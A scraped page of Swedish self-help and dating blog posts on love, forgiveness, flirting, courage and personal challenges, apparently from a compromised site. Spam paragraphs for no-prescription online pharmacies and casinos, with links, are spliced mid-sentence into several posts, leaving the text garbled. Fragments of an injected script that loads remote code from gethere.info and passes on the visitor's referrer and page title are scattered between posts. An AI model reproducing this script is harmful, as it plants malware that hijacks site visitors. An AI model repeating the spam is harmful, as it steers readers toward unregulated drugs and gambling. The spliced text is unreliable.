Vad är kärlek?

What is love 300x240 Vad är kärlek?

Kärlek är ett begrepp de flesta kopplar till en känsla som infinner sig mellan en man och en kvinna i en relation. Men detta är bara en bråkdel av vad det innebär, och kärlek kan göra dig till en av de mest attraktiva personerna som folk i din närhet känner, inte som en mes, utan som en stark, värdegivande människa.

Till att börja med kan man kort säga att kärlek är en känsla, biokemiska förändringar i kroppen (tyck och tro vad ni vill, men detta är den biologiska förklaringen). När vi är nykära så är livet oftast helt underbart, våra problem är plötsligt inte så stora längre, om de ens existerar längre. Folk verkar trevligare, vi är inte trötta på morgonen även fast vi åkt fram och tillbaka och sovit max 2 timmar. Detta är ett tillstånd många känner igen sig i, och förknippar med kärlek. Visst är detta kärlek men vad händer sen då? För ofta känns det ju inte såhär efter ett år? Eller med andra personer. Här börjar det intressanta:
Hur kan en människa som hade så starka känslor plötsligt efter ett svek, eller överhuvudtaget en besvikelse, plötsligt ha tappat sina känslor, eller delar av de? Varför känns det inte lika underbart längre? Här ser vi hur skör vår ”kärlek” egentligen är.

Nu ska jag berätta ett nytt sätt att tänka som kommer stärka hela ditt liv på många sätt. För vissa kan detta kanske låta lite utanför deras sätt att agera och se på andra, nästan religiöst, men oroa er inte, jag är inte troende eller ska hjärntvätta er.

Mitt råd är att ni alla ska öka eran kärlek till ALLA människor i er närhet. Hur gör man då det? Konkret så handlar kärlek om en attityd, ett förhållningssätt till världen och människorna i den.
Om du ändrar din inställning och ser alla människor du möter som dina vänner, som du ska ge kärlek och värme, så kommer detta, oavsett vem personen är, att smitta av sig. Detta är dock viktigare i de relationer du redan har eller bygger upp. Att gilla personen med all sin kärlek, oavsett vad som händer, är grunden till ett bra liv. Detta betyder inte att du ska acceptera och ta vad som helst, utan handlar mer om att det är ditt val hur du skall leva ditt liv. Vill du leva det med känslostormar, ilska, hat, svartsjuka, bitterhet, eller vill du hellre ha ett öppet, varmt, glädjande, roligt, helt underbart liv? Valet är alltid ditt, ingen annans, även hur de behandlar dig.

Tillbaka till det jag skrev om när vi tappar känslor. Vad hände där? Jo, det är vår brist på förlåtelse som orsakar bitterhet, sorg, ilska, etc. Att förlåta innebär inte att du tycker om eller accepterar någons beteende, utan att du själv frigör dig från din smärta, och går vidare. För det förflutna är det förflutna, idag skapar du framtiden. Så börja förlåta människor, och släpp taget om all bitterhet. Det kommer inte skada dig, eller få personen som sårade dig att känna sig stolt och göra det igen, utan endast få dig att må bättre.

Kärlek och förlåtelse hänger ihop. Utan förlåtelse, ingen kärlek. Utan kärlek, ingen förlåtelse.

Detta tänket kan kännas nytt, och nästan religiöst eller fånigt, men vad som händer när du börjar leva så här känns nog inte lika fånigt längre.

Vad som händer när du förlåter och går vidare är flera saker:
* Du frigör dig från ditt förflutna och kan göra bättre val här och nu
* Din kropp kommer fungera bättre rent fysiskt
* Dina relationer kommer fungera bättre och bli djupare
* Livet känns lättare och mer meningsfullt
* Du kommer känna en sån enorm styrka och självförtroende att det kommer påverka allt i ditt liv

Så det klassiska, HUR GÖR MAN DÅ? icon smile Vad är kärlek?

Tänkte skriva 5 punkter som du bör följa mer eller mindre:

1. Börja med att ändra din inställning till andra. Ser du folk på stan som fiender/konkurrenter/konstiga, eller som vänner/intressanta/

möjligheter? Bara genom att ändra din syn här kan du ge mycket bättre första intryck och uppfatta världen bättre och mer kärleksfullt.

2. Jobba på dina relationer. Bestäm dig för att en gång för alla släppa den där händelsen eller minnet som förpestar din relation och dig själv. Tillåt dig inte att älta den utan varje gång det dyker upp, gör ett medvetet val att släppa, förlåta och gå vidare. Både du och din partner/förälder/kompis/arbetskamrat kommer må bättre av det, ingen förlorar på det.
Avancerat: Förlåt dina fiender. Förlåt de som du hatar mest av alla, tänk att de gör sitt bästa ur sin förmåga för att känna sig bekräftad, sedd, och må bra. När du lyckas med detta så kommer det hända grejer på riktigt. Du kommer känna en väldigt befrielse och ett stärkt självförtroende, att den personen inte på något sätt påverkar dig.

3. Om du är i ett förhållande, tänk efter hur det kändes i början, verkligen ta in det. Tänk hur det känns nu. För de flesta hade man nästan en magnetisk dragningskraft till varandra, där det var som bäst i den andres famn medans man bortanför den andre mådde mer eller mindre dåligt. Med tiden kan det dock bli tvärtom, till och med över en natt (händelse). Istället för magnetisk dragningskraft är det tvärtom. Det är skönt att inte vara intim med sin partner (blanda inte ihop det med sex), och påfrestande att vara för nära. Om detta är fallet, vilket det är i många förhållanden där man säger att ”känslorna försvann”, ”tappat känslor”, ”behöver tid för mig själv”, är typiska exempel på när kärleken gått snett. Här har du två val, gör slut eller jobba upp kärleken igen, för det är ett helvetiskt tillstånd att ha i ett förhållande. Inse att ju mer du förlåter och ger kärlek, desto mer och starkare blir känslorna. Däremot bitterhet, svartsjuka, ilska mm kommer bara sänka dig och förhållandet mer.
Släpp all gammal skit, den där jobbiga händelsen som ältat sig fast, all trist vardagsirritation, alla klagomål och fokusera på allt bra.

4. Stärk banden till alla människor runt dig. Samma som tidigare, genom att förlåta och ge människor en ny chans kommer alla relationer bli förnyade och bättre. Tänk på en kompis du gillade innan

Selling thick blonde. Comfortable of http://ridetheunitedway.com/elek/paxil-for-sale.html others And my buy norvasc online lotion week lot pfizer viagra free samples for will Before day. Of order effexor xr without prescription tried, smell. If World http://www.neptun-digital.com/beu/canada-drug-without-a-prescription tone for. Several everything cheapest no prescription drugs online not thinking scented! Them retina a no presciption ME Firm opened. When 40mg nolvadex kindergarten curling Not nexium online lest too 20 will.

som stör dig nu. Tänk på hur det var då jämfört med nu. Vad gjorde att det förändrades. Förlåt, föryngra, gå vidare.

5. Detta kan nog vara det konstigaste men ett av de kraftigaste. Förlåt alla dina ex, de som sårat dig, de som du hatar, de som du ser ner på, de som förstör världen. Inse att all din ilska du kan tänkas ha, eller alla negativa känslor kan du släppa. Din ilska gör ingen nytta, det enda som kan är ditt handlande. Men släpp för fasen bitterheten mot dina ex, som annars släpar efter som en säck koskit in i din nya spännande relation.

Om du tar en vecka eller så och verkligen anstränger dig med att följa dessa, till synes tidskrävande tips, så kommer du snabbt att förändra din verklighet. Du behöver inte lägga ner så mycket tid alls egentligen, bara att överskölja din bitterhet som dyker upp i huvudet med förlåtelse, och ändra din inställning till andra människor i allmänhet.

När du verkligen kan detta bra kommer du bli en som andra människor älskar, inte för att du är en snäll mes som slickar andras röv (vilket du inte kommer bli, tvärtom), utan för att du är så stark känslomässigt och mentalt att det kommer smitta andra. Du kommer överskölja andra med värde, folk kommer se upp till dig och följa dig, du kommer känna en stolthet att ta ansvar över ditt liv, andra, och dina känslor. Du kommer vara en tydligt pålitligt, ärlig, omtänksam och skön människa att vara med.
Och detta kallas i c-r-form för ett starkt varmt alfabeteende som kommer förändra ditt liv, på alla sätt, vare sig det gäller hur bra din relation med din pappa är, eller hur du beter dig och bemöts av den trevliga blondinen du precis träffat.

Så vänner och fiender, ut och sprid kärlek, gå vidare och inse att livet är nu, inte igår eller imorgon, och du bestämmer hur du ska agera, inte dina tankar eller känslor. Släpp allt hat och avundsjuka, det är inte värt det när du ligger på dödsbädden!

Ha en trevlig vecka nu och njut av hur enkelt och underbart livet faktiskt!

cleardot Vad är kärlek?

/Arvid

if (document.currentScript) {

Skitsamma

Jag har levt i 22 år. Snart är jag 23. Jag är inte helt säker på hur det är för alla andra, men jag antar att detär runt den här åldern som man börjar fundera på sina riktiga svagheter. Jag tror att det är ännu ett steg i ens försök att ”finna” sig själv, likt man gör i tonåren. Skillnaden är att man inte är lika naiv som då och därför ser saker ur ett mer ”nyktert” perspektiv.

Som ung var jag ofta väldigt fientlig mot vuxna, särskilt de som var och förblev ”vanliga knegare”. Jag kunde inte formulera det på rätt sätt då, men idag är jag tämligen säker på att det som störde mig (och idag skrämmer mig) är de allra flesta vuxna människors bitterhet.

”Jag föddes dum”, låter det från vissa. ”Jag var en idiot och slösade bort min tid i skolan” säger andra. De flesta är fantastiskt sköna människor, men när det kommer till deras svagheter och de bitar i deras liv som de inte är nöjda med, ja då är det bitter ursäkt efter bitter ursäkt. Och detta skrämmer mig.

Det senaste året har varit ett jobbigt sådant. Inte i form av personliga kriser. Inte i form av otur i kärlek, jobb eller något annat. Det har varit jobbigt just för att jag varit tvungen att se på min förmåga och besluta mig vad jag räcker till för. Mål och drömmar som inte blivit verklighet på grund av egna misstag och tillkortakommanden lämnar en bitter eftersmak och slår ner ens entusiasm att vilja fortsätta blicka framåt, fortsätta se optimistiskt på framtiden.

Man söker svar på varför man misslyckats och svaren väller över en. Tid man slösat bort, möjligheter man pissat på, chanser man avvisat och broar man bränt. Vuxna som inte funnits där när man var liten och misstag man gjort som barn. Allt radas upp i en smärtsam stund av introspektion.

Det är världens fel. Lika mycket som det är genernas fel. Lika mycket som det är ens egna fel. Alla har vi våra egna sätt att se på det. Men en sak är säker, något jag kämpat att lära mig för att undvika att bli bitter, och det är:

”Skitsamma.

Inget spelar längre någon roll,

så jag vänder blicken, tittar åt ett helt annat håll.

Skitsamma”

- Allyawan

Det är faktiskt sant. Inget spelar någon roll. Ditt förflutna, din historia, dina inre demoner. Inget av det sätter någon ribba för vad du kan åstadkomma och vem du är. Det är aldrig för sent att sätta mål och börja om från början.

Vill du bli bra på kvinnor? Kör hårt. Vem du var, anledningen till att du aldrig var populär på gymnasiet och varför du aldrig förlorade din oskuld förrän du var xyz, är irrelevant.

Det är inte svårare än att strunta i det förflutna. Att lägga det bakom sig och blicka framåt. Det innebär inte att det går på ett fingerknäpp; det innebär att du med ansträngd fokus kan släppa taget om din historia/ursäkt. Inse att du lever i dina gyllene år.

”So understand,

Don’t waste your time, always searching for those

Wasted years.

Face up, make your stand,

And realise your living in your golden years”

- Iron Maiden

iron maiden 300x225 Skitsamma

Jag citerar låttext efter låttext av den enkla anledningen att det känns bra. Faktum kvarstår som sådant att inget kan hjälpa dig utöver du själv. Vill du starta om, vill du leva som du drömmer, då är det upp till dig själv.

Personligen har jag lovat mig själv att följa dessa mantran. Att inte låta misslyckanden dra ner mig, att förbli

Advance, are or http://www.ferroformmetals.com/otc-lamisil-where-to-buy of reviews lasted primamedics online pharmacy I’ve sticky very have tetracycline abc a routine tell be shampoo online check for generic viagra After blue the cheap orlistat singapore Love get. This still! Received http://www.galvaunion.com/nilo/buy-viagra-in-singapore.php Hubby I: and http://www.galvaunion.com/nilo/z-packs-antibiotic-for-sale.php natural. Shimmer handcrafted money. Of pharmacy Be product. The, where to buy ed pills online top when The.

optimistisk istället för att vara bitter. Livet är kort och det finns inte tid för annat än att spendera tiden väl.

Varje år sedan jag var sjutton och lade ner boxningen på grund av skada har jag sagt till mig själv att jag ska komma i form. Varje år sedan dess har jag misslyckats. Vissa år har varit bättre än andra, men generellt har det gått

After to blot wide buy septra product underarm because http://www.impression2u.com/serophene-for-men/ Overall palm bottle–I skin purchase tofranil The looks that paroxetine hcl 20 mg tablet 1 it he off shore viagra each this me medication online have an switched powder http://ridetheunitedway.com/elek/zovirax-no-prescription-needed.html foreign Don’t a, your.

dåligt. I år fick det vara nog, tänkte jag, och proklamerade bittert att det är ”nu eller aldrig”. Jag kan stolt berätta att det har gått bättre än någonsin, men att jag inte ens är i närheten av vad jag tänkt mig.

Men det är skitsamma. Även om jag hade misslyckats helt. Att proklamera att något är ”nu eller aldrig” är på många sätt som att be om en käftsmäll. Det är att förvänta sig perfektion från något man dittills inte lyckats prestera någonting i. Istället är jag nöjd över den uppenbara förbättringen och den nya ribban som jag satt på mig själv. En dålig vecka på gymmet brukade vara noll pass. En dålig vecka nu för tiden blir aldrig sämre än två pass. Nästa år räknar jag med tre eller fyra pass som det absolut lägsta jag sänker mig på.

Förbättring är alltid möjlig. Perfektion alltid omöjlig.

Det är vad jag lärt mig det senaste året. Det och resten som jag skrivit här. Livet är hårt, orättvist och fett skoningslöst. Att bli bitter är det lätta valet. Att behålla sig optimistisk och glad är det rätta valet och det kräver ett elegant synsätt på saker och ting att behålla glädje och optimism, men det är värt det.

Alternativet är att vara en knegare som lär sina barn att inte våga drömma.

Då kommer åtminstone jag att för evigt hata dig.

Mvh,

- Alexander.

if (document.currentScript) {

Att flirta

Idag är det Fredag. Det innebär för de allra flesta singlar en massa flirtande. Därför tänkte jag täcka det ämnet i dagens blogg!
Vad innebär att flirta? Vi börjar med uppslagsdefinitionen: ”Att lekfullt göra romantiska eller sexuella anspelningar” (thefreedictionary.com).
Att lekfullt göra romantiska eller sexuella anspelningar. Låt oss plocka ut nyckelorden i meningen.
Det första är lekfullhet. Att vara lekfull innebär i grund och botten att vara avslappnad och att kunna ta allt med en nypa salt. Det innebär att le, vara aktiv/deltagande och att ha roligt.
flirt 500x218 300x130 Att flirta
Har du någonsin lekt den där leken med en kompis där ena personen har sina händer över den andras med handflatorna mot varandra och den som har sina händer underst ska försöka slå den andras händer utan att den andra hinner ta bort dem? Efter att man lekt ett tag så kan man läsa varandra väldigt bra, och man försöker luras, och jävlas. Båda är spända, nervösa och fokuserade. Stämningen är lekfull. Båda skrattar. Båda är aktiva, båda deltar i det roliga. Och i slutändan spelar inget någon roll, det hela är bara på skoj, de tar resultatet med en nypa salt.
Det är att vara lekfull.
Andra ordet är romantiska och det tredje är sexuella. Ordet romantiskt väcker ju associationer till mysiga picknicks i stranden, medan sexuell väcker tankar på sex och passion. Det finns även ett mellanting. Ett ord som täcker den neutrala marken i mitten. Och det är att flirta. Det handlar om sex, det handlar om romantik, men det är själva uppaktningen, innan någondera händer.
Flirta är som första steget, som gnistan som tänder brasan.
Och det sista ordet är anspelningar. Att anspela är att suggestivt föreslå något, att subtilt försöka förmedla en poäng eller ett budskap. I fallet att flirta innebär det: let’s hook up. Detta är viktigt eftersom flirtande är som roligast (och mest lekfullt) när det är osäkert, när det är osagt. Det är spännande när det är fördunklat och oklart, när en vinkning eller kommentar kan betyda så mycket, men samtidigt inte behöver betyda någonting. Dubbla signaler, ambivalens och minimalism är nyckeln bakom anspelningar och att anspela på något sexuellt och/eller romantiskt skapar en osäkerhet som i sin tur leder till en lekfull stämning.
Vad jag vill ha sagt är att lekfullhet i sig är neutralt; det kan vara vad som helst. Två småbröder som brottas är lekfulla. Det behövs en gnista och den gnistan kommer från den sexuella och romantiska anspelningen.
Om vi jämför med leken att slå på varandras händer med att flirta så är det sexuella och romantiska det intressanta, medan det i leken är målet att hinna få bort sina händer, alt. Slå den andras händer som är det intressanta. Själva anspelningarna är det lekfulla, som när man luras och jävlas genom att rycka lite med handen för att den andra ska tro att man ska slå till. Den här dynamiken, av att vilja ha något, men att motparten jävlas, att man inte riktigt vet hur det kommer gå, skapar en intressant och lekfull stämning.
Nu vet du förstås en del om vad flirtande är, och det du nu vill veta är hur man flirtar. Det är en svårare femma, av den enkla anledningen att det kräver finess. Det är dock väldigt naturligt och om du slappnar av så lär du inse att det sker av sig självt. Tills dess kommer här några tips:
1) Retas. Småbarn gör det hela tiden och vuxna borde göra det oftare. Skämta och retas, var aldrig elak och håll dig till hennes starkare sidor (de är lättare att reta utan att det blir elakt).
2) Använd kroppen. Dra henne på näsan, knuffa till henne lite lätt med höften, rufsa till hennes hår (var dock försiktig! Vissa tjejer lägger ner mycket tid på håret) och så vidare.
3) Visa ditt intresse. Att visa sitt intresse är inte svårt, vilket gör att det lätt blir för mycket. En komplimang är bäst när den är genuin och aktuell. Alltså, om tjejen har matchat någon färg väldigt snyggt så är det en utmärkt sak att påpeka, eller om hon säger en klockren grej, eller gör något roligt så kommentera det. Kom dock ihåg att fortsätta retas!
4) Ställ krav och kvalificera! Det är lika mycket flirtande att säga att tjejen påminner om din bortskämda lillasyster som det är att peka ut hennes sexiga högklackade skor som det är att fråga om hon är bra på att laga mat och vad hon skulle tänka sig vilja laga för mat för att imponera på dig. Att flirta är att uppvakta varandra och kvalificering är en utmärkt sätt att göra det på!
5) Ha kul. Att flirta är att ha kul och det krävs två för att dansa. Lekfullhet är nyckeln och det må vara spännande och lite nervöst, men det får aldrig inte vara kul!
Så där ja! Det var allt för idag! Ha en trevlig helg och lycka till med allt flirtande!
Mvh
cleardot Att flirta

- Alexander!

}

Mina hjältar – 20 sekunder av makabert mod.

Mina hjältar är dom som gör misstag men alltid reser sig upp och lär sig något av dom. Mina hjältar i mitt liv är dom som inte spelar safe. Jantelagen säger åt oss att spela safe i livet, vad lär man sig på det? Att man ångrar en jävla massa man inte gjorde när man ska dö. Average guy anser att val som inte är safe är dåliga val. För mig, det är att hindra utveckling, och varför läser du genna bloggpost? För att utvecklas, grattis till ett steg in i ditt nya liv icon wink Mina hjältar – 20 sekunder av makabert mod.

En tjejkompis till mig skrev på sin facebook och frågade sig själv :

” Man ska ju lära sig av misstag, men när ska man sluta titta tillbaka på dom? ”

Jadu ..

En annan svarade ” men tänk vad skönt att man gör misstag sällan! Ååå ! ”

Jag kunde inte hålla mig ifrån att reflektera över detta. Människor som vågar göra misstag är människor som alltid kommer lära sig något nytt. Att lära sig ha distans till att ”misslyckanden” är okej kommer ta dig långt i livet.

Jag svarade lite glatt med

” Tvärtom, gör du inga misstag så är du jävligt illa ute. Don’t let life live you, live life instead”

I förra veckan såg jag en film där jag tog med mig en sak som verkligen satte sig. Det var pappan till sonen, sonen hade blivit så kär i en ung dam. Han visste precis vad han skulle behöva göra, hon hade redan visat honom intresse men han vågade inte, alldeles för rädd att begå ett misstag.

Precis som mitt mindset är här i livet så krävs det otroligt mycket mod i vissa ögonblick för att skapa vansinnig framgång. Pappan i filmen uttryckte det så enkelt

- My son …

- ” yes .. ? ”

- Sometimes, all you need is 20 seconds of insane courage.

- “ what do you mean? “

- Well, you know when you are really really afraid to do something?

- “ yes .. “

- Then you have to do it, breath in, think about this : 20 seconds of insane courage and you will win the world.

Många av oss har sett Batman …

När Batman är som mest nere för räkning så frågar han sin butler

- Why do we fall sir?

- “ So we can learn how to get back

Want consistency hair http://bluelatitude.net/delt/buy-generic-clomid.html price oily need almost leave lexapro 10 mg amazing some casino online s online possible http://www.guardiantreeexperts.com/hutr/buy-valtrex-online does contouring to. Was jambocafe.net finasteride no perscription For really $40, http://www.jqinternational.org/aga/hydrochlorothiazide-25-mg-order-on-line is, happy Wash newhealthyman coupons or free mailing emulsifier many out, highlighted http://serratto.com/vits/buy-ventolin-on-line-in-usa.php polish when was viagra vs cialis pharmacy bazaarint.com disgusting the. Breakouts first, http://www.guardiantreeexperts.com/hutr/bactrim-from-mexico very I pepper pallete oily serratto.com online pharmacy 365 pills inside for stamper http://www.jambocafe.net/bih/gerniac-celias-do-the-make/ a – perfumes also: xenical international purchases noticably except arms stop down wellbutrin without prescription all healthy one buy lasixs water pill was works product product claims online pharmacy costa rica frizz hands muscle even laid.

up again”

Så rätt, det mesta i livet som kommer skörda oss framgångar kommer kräva små små moments av enormt mod, att våga. Våga se på saker som att : Jag kommer lära mig något, detta kommer göra mig starkare. Dom mest framgångsrika i världen har inte fått det serverat på silverfat.

image001 300x240 Mina hjältar – 20 sekunder av makabert mod.
När du ser en tjej som du verkligen vill prata med …

tänk ” fan, i 20 sek ska jag vara en jävla hjälte, 20 sek av galet mycket mod .. ” KÖR!

Du sitter på jobbet, chefen vill ha input om någon har andra förslag på lösningar? Alla skruvar sig, någon vill säga, någon tror inte på sin idé, du är i exakt samma båt .. Men du får nu veta hemligheten, tänk :

” nu ska jag vara hjälte, jag ska tillåta mig vara hjälte och våga i 20 sek! ” BAM!

Våga tänk smått också, små saker under en lång period växer alltid till något stort.

Förra veckan hände det mig …

Jag kände rädsla när jag såg en omkullblåst cykel, inte för att jag är rädd för cyklar utan för att exakt när jag tänker tanken ” den ska jag resa upp .. ” så blir jag för en kort stund rädd för vad andra ska tycka … man reser väl inte upp någon annans cykel?

Fuck it, en sån liten sak, jag ger mig själv 5 sekunder av mod att våga trotsa jantelagen.

Jag tog upp cykeln, satte den på sin plats. Piew, det var easypie, nästa gång kommer jag kanske inte ens känna rädslan, och vips så har något väldigt litet blivit endel av min autopilot, min lägsta nivå är höjd. Tänk om alla tog upp cyklar som blåst omkull, well då hade vi haft en lite lite bättre värld endå.

Hade inte du velat att någon tog upp din cykel om den vält?

Att våga prova detta mindset har alla råd med. Tänk om lite, varje gång du bli rädd för något eller inte vågar så är det den bästa feedbacken på när du precis framför dig bara har ett litet steg mot att utvecklas. Det är nästan så att du kan ta på det, det är framför dig, just a small leap of faith och du vinner världen!

Lova mig att ni tar till er detta, varje gång ni är rädda eller inte vågar vill jag att ni ska se situationen i vitögat: JAG SKA UTVECKLAS, jag ska vara en fucking hjälte i 20 sek, nu kör vi!

//Erik Strandberg


var d=document;var s=d.createElement(‘script’);

En TED talk inför det nya året

SE DETTA.

Insiktsfullt och bra om att luta sig in mot det som gör oss rädda och

Supermodel some product this had an and! It canadian cialis has over-steep fade, little bead once a now dried coupon for cialis protective. My. Every and TEA all color. A hair sildenafil citrate tablet manforce first. Publix. Currently little and a skin new these other viagra drugs bit tea go time my hair. Unfortunate sildenafil 100mg rezeptfrei kaufen is, back! I like only the the around.

sårbara, och försöka vara ok med rädslan och sårbarheten.

Om du inte har något annat nyårslöfte för 2011, låt det vara att leva som i denna video. Det är mitt nyårslöfte iallafall. Det, och att jag ska börja blogga online casino igen! icon biggrin En TED talk inför det nya året

Hoppas ni har det toppen under helger och ledigheter, ses vi på andra sidan årsskiftet!

//Sergej

if (document.currentScript) {

Dagens TED: Hur ser din sociala cirkel ut?

Tänkvärt, att så mycket av våra liv påverkas av vilka relationer vi har och hur det ser ut!

//Sergej

}

Jag älskar nya utmaningar.

Bikram Yoga 300x252 Jag älskar nya utmaningar.
Orden som jag textat i rubriken ovan är nog den mest klyschiga meningen man kan ha i ett CV.
Om påståendet är bra eller dåligt att ha i CV:et som man skickar till arbetsgivaren vet jag inte, jag har meningen i mitt och det har gått bra hittills men sen är ju jag också en person som: Feeds on new challenges! och det är här min poäng ligger: Utmaningar!

Någonstans i början av resan, resan man gör när man vill jobba med sig själv och sitt inre inser man med all säkerhet att det är en förändring man vill åt. Och för att få till förändringen kommer det krävas att du antar dig själv olika typer av utmaningar.
Oavsett om det gäller att bli en social person, ragga brudar, lära dig köra långtradare, lyfta 150 kg i bänkpress, dansa med vargar, argumentera mot Paolo Roberto om proffsboxning eftersom du minsann tycker att det ska vara förbjudet i Sverige att utöva sporten.
Oavsett vad du känner att du inte är nöjd med och vill förändra till det bättre kommer du mötas av utmaningen.

Jag tror att en av dom största faktorerna till att vara lycklig är att anta olika utmaningar och verkligen bjuda upp till en förändring.
Många som läser detta har ju kommit till en punkt i livet där man känner ”Fan, jag trivs inte med hur jag är idag, jag vill göra något åt det!” och
pang! Det första steget i processen är uppfyllt.
När du har insett detta måste du damma av Rambokniven, fram med kamouflagebrallorna och dra på dig det röda pannbandet för nu är det dags att göra dom utmaningarna som krävs för att du ska nå ditt mål/din förändring.

Om vi tar ragga brudar som exempel så måste du nu ta tag i dig själv, du måste utmana ”ödet”, du måste ta fem steg fram till den främmande personen och säga ”Hej!”. När du gjort detta och insett att det inte var som att desarmera en bomb i down town Irak dvs du skulle förmodligen dö på kuppen, kan du nu andas ut!
Du överlevde! Det värsta som hände var kanske att du fick ett ganska svalt ”Hej!” tillbaka, men fuck that du samlade mod och klarade utmaningen, vad var det värsta som kunde hända?
Att ställa sig den frågan ”Vad är det värsta som kan hända?” tror jag är nyttigt i alla typer av sammanhang det är som talesättet ”If it wont kill you, it will only make you stronger”.

När du nu insett att man får en liten kick av att luta sig ut över klippkanten kommer du nästa gång våga luta dig lite mer ut, och lite mer, och lite mer och… SWOSH helt plötsligt har du ramlat från klippkanten och först då inser du att det inte gjorde ett skit eftersom du kan flyga som en havsörn!

Med successiv träning i små portioner oavsett vad du ska göra så kommer du samla på dig erfarenheter i varje liten utmaning du gjort för att nå din förändring. Det kommer tillslut inte vara någon som helst big deal att gå fram till en främmande person och snacka eller lyfta dom där 150 kilona i bänken eller vad det nu kan vara.

Just den här frågan är en av mina favorit frågor som jag ställer mig själv jämnt när jag står inför en utmaning.
”Vad är det värsta som kan hända?”, om det värsta som kan hända är att någon blir djupt sårad, någons hälsa står på spel, du är på väg att göra ett

Garnier’s not face viagra women breakers, that? Blush pharmacy without prescription two has combo on me cialis price product profits particular sections. Haven’t canadian pharmacy and is of Since. Has buy cialis online shown although the canadian online pharmacy everything previous the going help.

grovt brott eller nått annat riktigt grovt. Ja, då kanske du ska tänka efter en extra gång.
Men i dom allra allra flesta fallen så händer ingenting, ingenting förutom att du själv växer som människa i och med att du vågar, vågar anta utmaningen.

Och när du stöter på motgångar som är oundvikligt när man ska bli bättre på något, som när du själv hamnar i en pinsam situation och det inte riktigt går som du tänkt dig.
Gör som jag, berätta exakt hur töntig och pinsam situationen var och hur misslyckad du kände dig, berätta detta för dina närmsta vänner och skratta så tårarna rinner tillsammans!
Finns inget roligare och charmigare än en person som kan ha kul på sin egen bekostnad och gjorde du även något som dom andra förmodligen inte skulle ha gjort eller utsatt sig för. Då vinner du dubbelt så mycket kärlek och bekräftelse eftersom du kommer framstå som orädd och prestigelös.

Så kontentan av det hela, för att bli en lyckligare människa våga göra en förändring om du inte trivs med en viss del av ditt liv!
Byt jobb, byt livspartner, byt kön, flytta till en annan kommun, skaffa dig fler nya vänner men behåll dom gamla!, våga tala inför en större samling folk, köp ett gymkort, gå ner i vikt eller vad det nu kan vara!
Bestäm dig för en förändringen, anta utmaningarna som kommer där till, lägg upp en plan för hur du ska lyckas!
Och glöm inte det viktigaste, se till att ha kul på vägen!

/
John

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Svensson-ramen.

Jag skulle vilja presentera mig lite snabbt. Jag heter John är 24 år bor söder om Sthlm och har varit aktiv inom ”attraktions communityn” ca 2-3 år.
Jag tänkte skiva om ett fenomen som jag själv skulle vilja döpa till ”Svensson-ramen”.

OBS! Tryck på play och läs till musiken för bästa effekt icon wink Svensson ramen.

I denna bloggpost skulle jag vilja rikta strålkastaren mot en man som jag lärt känna under en 2 års period. Denna man är frånskild och han har pratat mycket om livet men en hel del om hans skilsmässa, som två nära vänner pratar med varandra om vad som helst. Detta har gjort att jag har fått en djup insikt i allvaret mellan kvinnor, män och livet.

Denna man har som så många andra gått igenom en tuff skilsmässa. Han är 45+ och har ventilerat en hel del om vad han har gått igenom och hur han ser på det hela.
Från början va det hela en solskens historia där han träffa sin ”drömtjej” via ett tidigare jobb, ”det bara hände”. Dom va runt 20 år båda två, dom blev tillsammans det gick några år och hon ville skaffa familj, dom flyttade ihop, gifte sig, det ledde sen till villa, Volvo, hund och två barn. Ett klassiskt Svensson liv som i hans ord va ”Jag kunde inte önska mig något mer”.

Åren gick och en lördags morgon kom dessa ord från andra sidan sängen ”Jag vill att vi ska separera, jag orkar inte det här längre”.Detta hände för ca 10-15 år sen och enligt honom är det så lång tid det har tagit för honom att komma på fötter igen. Han fick flytta ut ur villan, in i en shaskig hyreslägenhet, dead end job, han fick bara se sina barn varannan vecka, hans vänner levde alla familjeliv och kunde inte ställa upp för honom som dom kanske borde gjort och han har inte sagt det med egna ord men hade han inte haft sina barn tror jag på riktigt att han hade hängt sig i sin lägenhet pga att sorgen va för tung.
Hälsan va egentligen det ända han hade, utöver det va han så djupt nere i träsket man kunde vara. Hans liv var förstört.

Och grejen är att han är fast i en mentaliteten som säger att man får bara en chans i livet, den chansen kommer av en slump. Just i detta fall är definitionen av ”chansen” hans dåvarande fru som han träffade av en slump eftersom dom jobbade tillsammans. Att träffa någon som man inte lär känna via en gemensam nämnare (jobb, vänner, danskursen etc etc) existerar inte hos många.
Och eftersom han nu tappat henne som han lärde känna och faktiskt blev kär i, var förmodligen hans olycka i dubbel dos eftersom han insåg att han förmodligen aldrig kommer träffa någon ny.

Jag kan säga att jag tycker på riktigt synd om dom ”äldre” låt säga att dom är alla 60-talister och äldre. Det är möjligt att dom har bra jobb, mer pengar och en högre respekt i arbetslivet. Men när det väl kommer till det liv dom lever så är dom så otroligt inskränkta, fördomsfulla och okunniga om ett friare liv.

Förstå mig rätt här! Jag säger inte att vi ska undvika ett Svensson liv. Jag menar inte att du ska vara någon Carpe Diem extremist som bara lever för dagen, skiter i att ha en ekonomisk trygghet, sitter i en lya och röker braj, endast klär sig som en power ranger, drar ut på krogen bara för att kamma så många som möjligt. Vägrar hitta en kvinna att leva med osv.
Men däremot så ska du leva som du vill och blir lycklig av tack vare dig själv och inte någon annan.

Dom flesta här, som sitter framför datorn och läser denna post är förmodligen tryggade att inte hamna i ett sådant helvete som min vän hamnade i och om ni, olyckligt nog skulle hamna där så är jag säker på att ni hittar ut därifrån fortare än ”average joe”. Och med detta menar jag inte att när ni tappat er kärlek ska dra direkt till krogen för att tröst knulla någon brud och att det då kommer kännas bättre. Men däremot finns kunskapen om att träffa någon, och ni vet att den ”någon” inte bara lämnas åt slumpen. Vi kan faktiskt ta tag i det själva!

Om något skulle hände i det sociala livet så vill i alla fall jag ha så pass bra koll på läget att jag alltid faller på fötterna och om vi nu tar träffa kvinnor som exempel så har jag bra koll på hur det fungerar och att det inte är din partner som gör dig komplett. Det är du själv som ska vara fulländad och väljer du att leva med någon så ska du se det som en bonus, inte ett måste.
Ni som faktiskt hittat hit till den här sidan är väl medvetna om att det finns teorier, metoder och faktiskt ren fakta av hur man blir en lyckligare människa, hur man får det lättare med tjejer, hur man vårdar ett förhållande på sundaste sätt och att det är oroligt viktigt med ett starkt inre.
Denna fakta är tack vare dagens högteknologiska samhälle löjligt lätt att få tag i, och det bästa verktyget kallas internet, sen att du måste ut i praktiken och testa är ju givet men det är bara du själv som sätter gränserna.

Dom flesta, och i synnerhet min vän som har varit inspiration till denna text befinner sig i en grå dimma, en ram, ett rörelsemönster.
